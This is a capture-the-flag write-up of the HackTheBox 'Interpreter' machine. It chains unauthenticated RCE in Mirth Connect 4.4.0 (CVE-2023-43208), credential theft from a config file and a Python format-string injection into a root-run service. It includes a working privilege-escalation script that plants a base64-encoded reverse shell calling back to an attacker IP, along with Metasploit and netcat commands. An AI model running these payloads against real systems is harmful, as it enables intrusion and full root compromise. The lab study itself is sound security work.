Difficulty: Medium
OS: Linux
Release Date: 21st February, 2026
Retire Date: TBD
Link: https://app.hackthebox.com/machines/Interpreter
This writeup was produced for educational purposes in the context of an authorized HackTheBox lab environment.
Table of Contents
- Overview
- Approach
- Reconnaissance
- Mirth Connect Version Identification
- CVE-2023-43208 — Unauthenticated RCE
- Post-Exploitation as mirth
- Database Enumeration — Internal Service Discovery
- notif.py — Python Format String Injection
- Privilege Escalation — root.txt
- Key Findings
Overview
Interpreter is a medium-difficulty Linux machine centred on a NextGen Healthcare Mirth Connect instance and a deliberately vulnerable internal notification service. The attack begins with an unauthenticated pre-auth RCE against Mirth Connect 4.4.0 via CVE-2023-43208, an unsafe Java XStream deserialization vulnerability. Post-exploitation yields a MariaDB credential from the Mirth configuration file. The database's CHANNEL table reveals a Python-based internal service (notif.py) running as root on localhost:54321, which parses patient XML through Python's .format() string interpolation — a textbook format-string injection primitive. Crafting a malicious <firstname> field triggers arbitrary Python execution as root, completing the chain.

Attack Chain at a Glance
Port scan → SSH (22) + Jetty HTTP (80) + Jetty HTTPS (443)
↓
Mirth Connect 4.4.0 identified via /api/server/version
↓
CVE-2023-43208 — XStream deserialization → unauthenticated RCE
↓
Shell as mirth → read /usr/local/mirthconnect/conf/mirth.properties
↓
Credentials: mirthdb:MirthPass123! → MariaDB mc_bdd_prod
↓
CHANNEL table → "INTERPRETER - HL7 TO XML TO NOTIFY"
↓
Internal endpoint: http://127.0.0.1:54321/addPatient
↓
notif.py running as root — Python format string injection via <firstname>
↓
{exec(__import__("base64").b64decode("...").decode())} → RCE as root
↓
root.txt + user.txt
Approach
The methodology followed a standard black-box penetration testing workflow:
- Enumerate all exposed TCP ports and identify services.
- Fingerprint the Mirth Connect version via its unauthenticated REST API.
- Exploit CVE-2023-43208 — a pre-auth XStream deserialization chain — for initial RCE.
- Extract the MariaDB password from the Mirth configuration file.
- Enumerate the database to discover the internal channel configuration and the
notif.pyendpoint. - Abuse the Python format-string injection in
notif.py(running as root) for full system compromise.
No credential brute-forcing was required at any stage.
Reconnaissance
Port Scan
nmap -sV -T4 -p- 10.129.29.93
Results:
| Port | State | Service | Version |
|---|---|---|---|
| 22/tcp | open | ssh | OpenSSH 9.2p1 Debian |
| 80/tcp | open | http | Jetty |
| 443/tcp | open | ssl/http | Jetty |
The attack surface is minimal. Both HTTP ports run Jetty, a Java-based embedded web server, which is the canonical deployment platform for Mirth Connect. Port 443 serves the same application over TLS.
Key Observations
- No web application login page is immediately visible on port 80 — Mirth Connect presents a login form at
/. - The
/apipath is exposed without authentication, including the version endpoint. - Jetty on both 80 and 443 strongly suggests a Mirth Connect healthcare integration engine deployment.
Mirth Connect Version Identification
Mirth Connect exposes an unauthenticated REST API under /api. The version endpoint requires no credentials:
curl -sk https://10.129.29.93/api/server/version \
-H "X-Requested-With: XMLHttpRequest"
Response:
4.4.0
Mirth Connect versions prior to 4.4.1 are affected by CVE-2023-43208, an unauthenticated pre-auth RCE via unsafe Java XStream deserialization. Version 4.4.0 is squarely in scope.
CVE-2023-43208 — Unauthenticated RCE
Vulnerability Description
CVE-2023-43208 is a pre-authentication remote code execution vulnerability in NextGen Healthcare Mirth Connect. It builds on an earlier incomplete fix for CVE-2023-37679. The root cause is unsafe deserialization of user-controlled XML at the /api/users endpoint. The application accepts serialized XStream XML objects without enforcing a strict class allowlist, allowing an attacker to supply a crafted object graph that triggers a Commons Collections 4 gadget chain during deserialization — ultimately invoking Runtime.getRuntime().exec() with attacker-controlled arguments.
The gadget chain structure (from the Horizon3.ai disclosure):
<sorted-set>
<dynamic-proxy>
<handler class="org.apache.commons.lang3.event.EventUtils$EventBindingInvocationHandler">
<target class="org.apache.commons.collections4.functors.ChainedTransformer">
<!-- InvokerTransformer chain: getMethod → invoke → exec -->
</target>
</handler>
</dynamic-proxy>
</sorted-set>
The chain terminates in Runtime.exec(), executing an arbitrary shell command as the mirth service user.
Exploitation
A Metasploit module is available for this vulnerability.
msfconsole -q
msf6 > use exploit/multi/http/mirth_connect_cve_2023_43208
msf6 > set RHOSTS 10.129.29.93
msf6 > set RPORT 443
msf6 > set SSL true
msf6 > set LHOST 10.10.14.28
msf6 > set LPORT 4444
msf6 > set PAYLOAD cmd/unix/reverse_bash
msf6 > run
Output:
[+] The target appears to be vulnerable. Version 4.4.0 is affected by CVE-2023-43208.
[*] Executing cmd/unix/reverse_bash (Unix Command)
[+] The target appears to have executed the payload.
[*] Command shell session 1 opened (10.10.14.28:4444 -> 10.129.29.93:XXXXX)
Alternatively, the standalone Python PoC from K3ysTr0K3R can be used:
python3 CVE-2023-43208.py -u 10.129.29.93 -lh 10.10.14.28 -lp 4444
Shell Stabilisation
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl-Z
stty raw -echo; fg
export TERM=xterm
Identity confirmed:
id
uid=103(mirth) gid=111(mirth) groups=111(mirth)
hostname
interpreter
Post-Exploitation as mirth
Locating the Configuration File
The default Mirth Connect configuration path (/var/lib/mirthconnect/) was not present on this installation. The actual path was found at:
find / -name mirth.properties 2>/dev/null
/usr/local/mirthconnect/conf/mirth.properties
Extracting Database Credentials
cat /usr/local/mirthconnect/conf/mirth.properties
Relevant excerpts:
# Only used for migration purposes, do not modify
version = 4.4.0
database = mysql
database.url = jdbc:mariadb://localhost:3306/mc_bdd_prod
database.driver = org.mariadb.jdbc.Driver
# database credentials
database.username = mirthdb
database.password = MirthPass123!
Credentials extracted: mirthdb:MirthPass123! connecting to database mc_bdd_prod on localhost:3306.
The keystore also contains credentials that may be of use for further analysis:
keystore.storepass = 5GbU5HGTOOgE
keystore.keypass = tAuJfQeXdnPw
Database Enumeration — Internal Service Discovery
Connecting to MariaDB
mysql -u mirthdb -p'MirthPass123!' mc_bdd_prod
SHOW TABLES;
+-----------------------+
| Tables_in_mc_bdd_prod |
+-----------------------+
| ALERT |
| CHANNEL |
| CHANNEL_GROUP |
| ... |
| PERSON |
| PERSON_PASSWORD |
| ... |
+-----------------------+
Inspecting the CHANNEL Table
The CHANNEL table stores all Mirth integration channel definitions as raw XML blobs:
DESCRIBE CHANNEL;
+----------+--------------+------+-----+
| Field | Type | Null | Key |
+----------+--------------+------+-----+
| ID | char(36) | NO | PRI |
| NAME | varchar(40) | NO | |
| REVISION | int(11) | YES | |
| CHANNEL | longtext | YES | |
+----------+--------------+------+-----+
SELECT NAME FROM CHANNEL;
+----------------------------------------+
| NAME |
+----------------------------------------+
| INTERPRETER - HL7 TO XML TO NOTIFY |
+----------------------------------------+
Extracting the Channel Configuration
SELECT CHANNEL FROM CHANNEL \G
The XML blob is large (~18 KB), but the key fields are quickly found by grepping for network references:
mysql -u mirthdb -p'MirthPass123!' mc_bdd_prod \
-e "SELECT CHANNEL FROM CHANNEL" | grep -oE '(<host>[^<]+</host>|<port>[^<]+</port>|<content>[^<]+</content>)'
Key findings:
<host>0.0.0.0</host>
<port>6661</port> <!-- TCP Listener: inbound HL7 on port 6661 -->
<host>http://127.0.0.1:54321/addPatient</host>
<content>${message.encodedData}</content> <!-- HTTP Sender: forwards to internal notif service -->
Channel Architecture
The channel implements a two-step pipeline:
- TCP Listener on
0.0.0.0:6661— receives inbound HL7 messages. - HTTP Sender — transforms the message to XML and POSTs it to
http://127.0.0.1:54321/addPatient, passing the full message body as${message.encodedData}.
The internal service on port 54321 (notif.py) processes the resulting patient XML — and it is the target for privilege escalation.
Identifying the Internal Service
ps aux | grep notif
root 3515 ... /usr/bin/python3 /usr/local/bin/notif.py
notif.py runs as root. The binary is rwxr-x--- (readable by root and the sedric group only), but its network behaviour can be inferred from the channel configuration and confirmed by probing it directly.
notif.py — Python Format String Injection
Vulnerability Description
The service at localhost:54321 is a Python HTTP server that processes patient XML POSTed to /addPatient. It parses the XML, extracts patient fields (including <firstname>), and interpolates them into a Python format string using .format() — a pattern equivalent to the classic str.format() injection vulnerability.
When a field value contains a Python expression wrapped in curly braces — e.g., {expr} — Python's .format() evaluates it. By injecting {exec(...)} into <firstname>, arbitrary Python code is executed in the context of the root-running process.
Payload Construction
The injection payload:
import base64
LHOST = "10.10.14.28"
LPORT = 9004
# Python reverse shell, base64-encoded to avoid XML encoding issues
code = (
f'import socket,os,pty;'
f's=socket.socket();'
f's.connect(("{LHOST}",{LPORT}));'
f'os.dup2(s.fileno(),0);'
f'os.dup2(s.fileno(),1);'
f'os.dup2(s.fileno(),2);'
f'pty.spawn("/bin/bash")'
)
b64 = base64.b64encode(code.encode()).decode()
# The format-string injection: {exec(...)} triggers on .format() call in notif.py
injection = '{' + f'exec(__import__("base64").b64decode("{b64}").decode())' + '}'
The injected string becomes the <firstname> field value. When notif.py calls .format() on a template containing it, Python evaluates the exec() expression and the reverse shell connects back.
XML Payload
<patient>
<firstname>{exec(__import__("base64").b64decode("BASE64_SHELL").decode())}</firstname>
<lastname>Doe</lastname>
<timestamp>2026</timestamp>
<sender_app>P</sender_app>
<id>1</id>
<birth_date>01/01/1990</birth_date>
<gender>M</gender>
</patient>
Exploit Script
Since localhost:54321 is only reachable from the target itself, the exploit is run from within the mirth shell:
# /tmp/privesc.py — run on the target as mirth
import urllib.request, base64
LHOST = "10.10.14.28"
LPORT = 9004
code = (
f'import socket,os,pty;s=socket.socket();'
f's.connect(("{LHOST}",{LPORT}));'
f'os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);'
f'pty.spawn("/bin/bash")'
)
b64 = base64.b64encode(code.encode()).decode()
inj = '{' + f'exec(__import__("base64").b64decode("{b64}").decode())' + '}'
xml = (
f'<patient>'
f'<firstname>{inj}</firstname>'
f'<lastname>Doe</lastname>'
f'<timestamp>2026</timestamp>'
f'<sender_app>P</sender_app>'
f'<id>1</id>'
f'<birth_date>01/01/1990</birth_date>'
f'<gender>M</gender>'
f'</patient>'
)
req = urllib.request.Request(
"http://127.0.0.1:54321/addPatient",
data=xml.encode(),
headers={"Content-Type": "application/xml"}
)
try:
urllib.request.urlopen(req, timeout=5)
except:
pass
Execution
With a listener active on port 9004:
# On Kali — listener
nc -lvnp 9004
# On the target (mirth shell)
python3 /tmp/privesc.py
Callback received:
connect to [10.10.14.28] from (UNKNOWN) [10.129.29.93] ...
root@interpreter:/# id
uid=0(root) gid=0(root) groups=0(root)
Privilege Escalation — root.txt
With a root shell active, both flags are trivially readable:
root@interpreter:~# cat /root/root.txt
root@interpreter:~# cat /home/sedric/user.txt
Key Findings
| # | Finding | Severity | Impact |
|---|---|---|---|
| 1 | CVE-2023-43208 — Pre-auth RCE in Mirth Connect 4.4.0 via unsafe XStream deserialization at /api/users |
Critical | Unauthenticated remote code execution as the mirth service user |
| 2 | Plaintext credentials in mirth.properties (mirthdb:MirthPass123!) readable by the service user |
High | Full MariaDB access including all Mirth channel configurations |
| 3 | Channel XML discloses internal service — CHANNEL table exposes the localhost:54321/addPatient endpoint and its input contract |
Medium | Complete internal architecture disclosure enabling the next attack stage |
| 4 | Python format-string injection in notif.py — user-controlled XML fields interpolated via .format() without sanitisation |
Critical | Arbitrary Python code execution as root via {exec(...)} injection |
| 5 | Root-level service with no privilege drop — notif.py runs as root with no sandboxing, amplifying the format-string impact from code exec to full system compromise |
High | Any exploitable bug in notif.py yields immediate root access |
Tools Used
| Tool | Purpose |
|---|---|
nmap |
Port scanning and service fingerprinting |
curl |
Mirth Connect version identification via REST API |
Metasploit (mirth_connect_cve_2023_43208) |
CVE-2023-43208 exploitation |
mysql |
MariaDB enumeration — credential use and channel data extraction |
python3 |
Format-string exploit script (privesc.py) and payload construction |
netcat |
Reverse shell listener |
base64 |
Reverse shell payload encoding for safe XML embedding |
find / grep |
Configuration file location and channel XML analysis |